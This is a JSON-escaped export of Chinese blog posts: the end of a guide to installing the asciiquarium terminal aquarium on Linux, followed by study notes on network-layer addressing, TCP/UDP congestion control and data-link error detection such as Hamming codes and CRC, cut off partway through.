Term-Animation-2.4/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eperl Makefile.PL \u0026amp;\u0026amp; make\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emake install; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装asciiquarium本体\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://www.robobunny.com/projects/asciiquarium/asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e asciiquarium_1.1/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e asciiquarium /usr/local/bin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x /usr/local/bin/asciiquarium\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003easciiquarium \u003cspan class=\"comment\"\u003e#如果不行的话,重启终端\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果这样:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230531212306.png\" alt=\"这不挺好\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AF%95%E8%AF%95%E7%BB%88%E7%AB%AF%E5%85%BB%E9%B1%BC%EF%BC%88Linux%EF%BC%89%EF%BC%81/"},{"title":"计网笔记:第四部分-网络层","time":"2023-05-24T08:33:07Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-19-逻辑寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-19-%E9%80%BB%E8%BE%91%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"Chap.19.逻辑寻址\"\u003e\u003c/a\u003eChap.19.逻辑寻址\u003c/h2\u003e\u003cp\u003e逻辑层通信的实现基础。TCP/IP实现了这个全球寻址方案。IP地址分为IPV4和IPV6两种,后者是前者的升级版本,目前前者在主要使用。\u003c/p\u003e\u003cp\u003eIPV4地址有$2^{32}$个,因为它的长度是32位,也就是四个字节。下面主要讨论的是IPV4。\u003c/p\u003e\u003ch3 id=\"IPV4地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#IPV4%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"IPV4地址\"\u003e\u003c/a\u003eIPV4地址\u003c/h3\u003e\u003cul\u003e\u003cli\u003e32位长\u003c/li\u003e\u003cli\u003e唯一且通用\u003c/li\u003e\u003cli\u003e地址空间是$2^{32}$\u003c/li\u003e\u003cli\u003e标记法有二进制标记法,和十进制点分标记法(常用每位范围从0-255)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"分类寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%88%86%E7%B1%BB%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"分类寻址\"\u003e\u003c/a\u003e分类寻址\u003c/h4\u003e\u003cp\u003e这种方法将地址空间分为ABCDE这5类。ip地址开头4位就能确定地址的类。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e前4位\u003c/th\u003e\u003cth\u003e第一个字节\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e0000\u003c/td\u003e\u003ctd\u003e0-127\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1000\u003c/td\u003e\u003ctd\u003e128-191\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1100\u003c/td\u003e\u003ctd\u003e192-223\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1110\u003c/td\u003e\u003ctd\u003e224-239\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1111\u003c/td\u003e\u003ctd\u003e240-255\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Chap-23-UDP、TCP和SCTP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-23-UDP%E3%80%81TCP%E5%92%8CSCTP\" class=\"headerlink\" title=\"Chap.23.UDP、TCP和SCTP\"\u003e\u003c/a\u003eChap.23.UDP、TCP和SCTP\u003c/h2\u003e\u003cp\u003e这三个是传输层的协议。UDP较为简单,其次是复杂的TCP协议。最后的SCTP仅了解。\u003c/p\u003e\u003ch3 id=\"进程到进程的传递\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E8%BF%9B%E7%A8%8B%E5%88%B0%E8%BF%9B%E7%A8%8B%E7%9A%84%E4%BC%A0%E9%80%92\" class=\"headerlink\" title=\"进程到进程的传递\"\u003e\u003c/a\u003e进程到进程的传递\u003c/h3\u003e\u003cp\u003e传输层负责的是进程到进程的传递。\u003c/p\u003e\u003ch4 id=\"客户-x2F-服务器模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%AE%A2%E6%88%B7-x2F-%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"客户/服务器模式\"\u003e\u003c/a\u003e客户/服务器模式\u003c/h4\u003e\u003cp\u003e在web2最常用的就是C/S模式。为了传输时的标识,需要确定本地/远程的主机和进程。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e寻址:传输层需要端口号来标识进程ID,服务器和客户端都是如此。不过前者规定比较严格,后者可以随机选择一个。这一般是由IANA统一管理的。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e套接字地址:将IP和端口号结合起来就得到了套接字地址(socket address)。传输层协议需要客户套接字地址和服务器套接字地址。这四条信息是IP头部和传输层协议头部的组成部分。IP头包含IP地址,UDP/TCP头包含端口号。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"复用-x2F-分离\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%A4%8D%E7%94%A8-x2F-%E5%88%86%E7%A6%BB\" class=\"headerlink\" title=\"复用/分离\"\u003e\u003c/a\u003e复用/分离\u003c/h4\u003e\u003cp\u003e寻址机制可以通过传输层进行复用和分离。也就是,同时刻选择一个待发送的分组进行发送(复用),同时刻选择一个待接受的进程分发分组。\u003c/p\u003e\u003ch4 id=\"无连接-x2F-面向连接服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%97%A0%E8%BF%9E%E6%8E%A5-x2F-%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"无连接/面向连接服务\"\u003e\u003c/a\u003e无连接/面向连接服务\u003c/h4\u003e\u003cp\u003e前者对应UDP,分组从一方发送给另一方,不需要建立/释放连接,分组无编号。它们没有确认过程,可能被延迟、丢失、无序到达\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:最大窗口64kB,报文的段平均往返时间是20ms,则最大吞吐量是?\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$64\\times1024\\times8(bit)\\div(20\\times10^3)s=26.21Mbit/s$\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:TCP的MSS是128B,报文的序号长度是8位,报文段在网络的生存时间是30s,计算TCP链接能达到的最大速率。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e30s内不能有重复序号,因此30s最多有$2^8=256$个段。因此结果是$1024bits\\times256segments\\div30s=8738bit/s$\u003c/p\u003e\u003ch2 id=\"Chap-24-拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-24-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.24.拥塞控制\"\u003e\u003c/a\u003eChap.24.拥塞控制\u003c/h2\u003e\u003cp\u003e它和服务质量是正相关的。\u003c/p\u003e\u003ch3 id=\"拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"拥塞控制\"\u003e\u003c/a\u003e拥塞控制\u003c/h3\u003e\u003cp\u003e思想是,利用窗口控制拥塞。窗口有两个,接受/发送窗口\u003c/p\u003e\u003cp\u003e策略有如下几个:\u003c/p\u003e\u003col\u003e\u003cli\u003e慢启动:先以一个MSS(Maximum Segment Size)慢速启动,如果重传之前收到一个确认,则指数(1,2,4,8,…)增加发送速度,直到收到的确认消息数和发送速率不匹配为止.\u003c/li\u003e\u003cli\u003e加性增加:和上面类似,不过增长速率是线性增长(1,2,3,…)。同时,如果计时器超时(严重拥塞),则作出强烈反应:设置阈值为当前拥塞状态的一半、设置cwnd为1个段的大小、进入慢启动阶段。如果接受到三个连续的ACK,则说明轻度拥塞,一个段可能丢失,其他段可能到达。这时,称为快速重传/快速恢复:设置阈值为拥塞窗口的一半、设置阈值为cwnd一半、进入拥塞避免状态。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般,拥塞控制综合这两种启动方式。开始时慢启动,之后达到一个阈值后开始加性增加,并按照丢包严重程度来重新确定阈值。阈值的确定是\u003cstrong\u003e取下一次计算得的发送速率和接受到对面ACK时得到的对方缓存空间的最小值\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"4-SCTP-流控传输协议(Stream-Control-Transmission-Protocol)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#4-SCTP-%E6%B5%81%E6%8E%A7%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%EF%BC%88Stream-Control-Transmission-Protocol%EF%BC%89\" class=\"headerlink\" title=\"4.SCTP-流控传输协议(Stream Control Transmission Protocol)\"\u003e\u003c/a\u003e4.SCTP-流控传输协议(Stream Control Transmission Protocol)\u003c/h3\u003e\u003cp\u003e它允许每个端口有多个IP地址。协议构成方面,了解即可。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/"},{"title":"计网笔记:第三部分-数据链路层","time":"2023-05-24T07:24:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-10-检错与纠错\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-10-%E6%A3%80%E9%94%99%E4%B8%8E%E7%BA%A0%E9%94%99\" class=\"headerlink\" title=\"Chap.10.检错与纠错\"\u003e\u003c/a\u003eChap.10.检错与纠错\u003c/h2\u003e\u003cul\u003e\u003cli\u003e差错类型:单个位差错(1bit)、突发性差错(\u0026gt;1bit)\u003c/li\u003e\u003cli\u003e纠错方式:向前纠错(根据冗余推测报文)/重传(要求发送方重新发送)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"编码\"\u003e\u003c/a\u003e编码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e分类 块编码、卷积编码\u003c/li\u003e\u003cli\u003e汉明距离 两个二进制数不同数位的数量,比如001和011的汉明距离是1。\u003c/li\u003e\u003cli\u003e最小汉明距离$d_{min}$ 一组码字中所有组合的汉明距离的最小值\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"块编码\"\u003e\u003c/a\u003e块编码\u003c/h4\u003e\u003cp\u003e总长度:\u003ccode\u003en=k+r\u003c/code\u003e,k是数据字的长度,r是冗余位长度。即\u003cstrong\u003e有$2^k$个数据字组合,$2^n$个码字组合,$2^n-2^k$个未使用码字\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e模运算 模2运算和异或一致。\u003c/li\u003e\u003cli\u003e差错检测条件 接收方有有效码字表,并且原来的码字为无效码字\u003c/li\u003e\u003cli\u003e纠错 将数据和编码表对照,找出汉明距离最小的码字作为结果\u003c/li\u003e\u003cli\u003e编码方案表示 需要三个参数:$n,k,d_{min}$。编码方案C可记作$C(n,k),d_{min}=d_0$\u003c/li\u003e\u003cli\u003e检错最小距离 $s\\leq d_{min} -1$\u003c/li\u003e\u003cli\u003e纠错最小距离 $d_{min}=2t+1$,基于码字离有效码字的汉明距离\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"线性块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BA%BF%E6%80%A7%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线性块编码\"\u003e\u003c/a\u003e线性块编码\u003c/h4\u003e\u003cp\u003e正式定义需要抽象代数\u003c/p\u003e\u003cul\u003e\u003cli\u003e任意两个有效码字生成另一个有效码字\u003c/li\u003e\u003cli\u003e$d_{min}$:具有最小1的个数的非0有效码字中1的个数\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"简单奇偶校验编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%AE%80%E5%8D%95%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"简单奇偶校验编码\"\u003e\u003c/a\u003e简单奇偶校验编码\u003c/h4\u003e\u003cp\u003e简单奇偶校验编码是一种最简单、最常用的校验码,用来检测数据传输过程中是否发生错误。它的基本方法是:在n位有效信息位上增加一个二进制位作为校验位P,构成n+1位的奇偶校验码。它有两种校验方法:奇校验和偶校验。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奇校验:使n+1位的奇偶校验码中1的个数为奇数。\u003c/li\u003e\u003cli\u003e偶校验:使n+1位的奇偶校验码中1的个数为偶数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的检错能力是:可以检出1位错或奇数位错,无纠错能力。它的一个常见的应用场合是ASCII码,ASCII码占用一个字节,低7位是有效位,最高位用作奇偶校验。\u003c/p\u003e\u003ch4 id=\"汉明编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B1%89%E6%98%8E%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"汉明编码\"\u003e\u003c/a\u003e汉明编码\u003c/h4\u003e\u003cp\u003e汉明编码是一种线性纠错码,它具有一位纠错能力。它的基本方法是:在\u003ccode\u003en\u003c/code\u003e位有效信息位上增加\u003ccode\u003ek\u003c/code\u003e位校验位,构成\u003ccode\u003en+k\u003c/code\u003e位的汉明编码。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验位的位置:第1、2、4、8、…、\u003ccode\u003e2^(k-1)\u003c/code\u003e位,其余位置是数据位。\u003c/li\u003e\u003cli\u003e校验位的取值:使每个校验位所覆盖的数据位和校验位本身中1的个数为奇数或偶数。\u003c/li\u003e\u003cli\u003e纠错过程:对传送后的汉明编码形成新的校验位,根据新校验位的状态,便可直接指出错误的位置。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"循环编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"循环编码\"\u003e\u003c/a\u003e循环编码\u003c/h4\u003e\u003cp\u003e循环编码是一种线性分组码,满足循环特性,即任意码字的循环移位仍然是该编码中的一个码字。循环编码可以用多项式表示法,即将每个码字看作一个多项式的系数向量,例如\u003ccode\u003e(1100101)\u003c/code\u003e对应于\u003ccode\u003ex^6+x^5+x^2+1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e循环编码可以用模运算来进行编码和译码,即将多项式除以一个n次多项式N(x),得到商式和余式,其中余式就是循环码的一个码字。\u003c/p\u003e\u003cul\u003e\u003cli\u003e循环编码有一个生成多项式\u003ccode\u003eg(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e的一个首1因子,且常数项不为0,它决定了循环码的结构和性质。\u003c/li\u003e\u003cli\u003e循环编码有一个校验多项式\u003ccode\u003eh(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e除以\u003ccode\u003eg(x)\u003c/code\u003e得到的商式,它可以用来检测和纠正传输过程中的错误。\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"循环冗余校验-CRC\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E5%86%97%E4%BD%99%E6%A0%A1%E9%AA%8C-CRC\" class=\"headerlink\" title=\"循环冗余校验-CRC\"\u003e\u003c/a\u003e循环冗余校验-CRC\u003c/h5\u003e\u003cp\u003e循环冗余校验-CRC是一种数据通信领域常用的一种数据传输检错技术,它通过在发送端对数据按照某种多项式算法计算出校验码,并将得到的校验码附在数据帧的后面,一起发送到接收端。接收端对收到的数据和校验码按照相同的多项式算法进行验证,以此判断接收到的数据是否正确、完整。如果没有余数,说明数据没有出错,否则说明有错误。\u003c/p\u003e\u003cp\u003eCRC的计算方法有多种,不同的方法有不同的生成多项式、初始值、结果异或值、输入输出反转等参数,这些参数决定了CRC的检错能力和效率。\u003c/p\u003e\u003cp\u003eCRC的优点是计算简单、速度快、占用资源少,能够检测出大部分随机错误和突发错误,缺点是无法检测出所有的错误,比如两个位同时发生错误并互换位置等。\u003c/p\u003e\u003cp\u003eCRC计算方法就是模2除法。首先根据生成多项式位数-1来在要处理的数据后边补同等数量的0,然后再用它除以生成多项式,除时不借位,直接异或运算得到商和余数。此时,要发送的数据就是商和余数了。接收方得到数据后,进行同样的操作(补0,模2除法),如果没有余数,则说明数据完好无损,否则数据有差错。\u003c/p\u003e\u003cp\u003e生成多项式,是一个N次多项式。比如,$X^4+X+1$。它对应的二进制表示的生成多项式就是$10011$,因为四次项、一次项和零次项系数非零。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609193236.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"校验和-Checksum\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%A0%A1%E9%AA%8C%E5%92%8C-Checksum\" class=\"headerlink\" title=\"校验和-Checksum\"\u003e\u003c/a\u003e校验和-Checksum\u003c/h4\u003e\u003cp\u003e它将被校验的数据按位或按字节进行累加,并舍弃累加溢出的位,得到一个或多个字节的结果。它可以用来检测数据在传输或存储过程中是否发生错误,通常将校验和附加在数据后面,接收方可以通过重新计算校验和并与原始校验和比较来判断数据是否完整。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验和的计算方法有多种,例如按位异或、按字节累加、按多项式除法等,不同的方法有不同的效率和准确性。\u003c/li\u003e\u003cli\u003e校验和的优点是计算简单、速度快、占用资源少,缺点是无法检测出多个字节同时发生错误的情况,比如两个字节的值互换或相反。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-11-数据链路控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-11-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.11.数据链路控制\"\u003e\u003c/a\u003eChap.11.数据链路控制\u003c/h2\u003e\u003cp\u003e数据链路层功能:\u003c/p\u003e\u003col\u003e\u003cli\u003e数据链控制:成帧,流量、差错控制,节点间帧传输可靠协议\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"成帧\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%88%90%E5%B8%A7\" class=\"headerlink\" 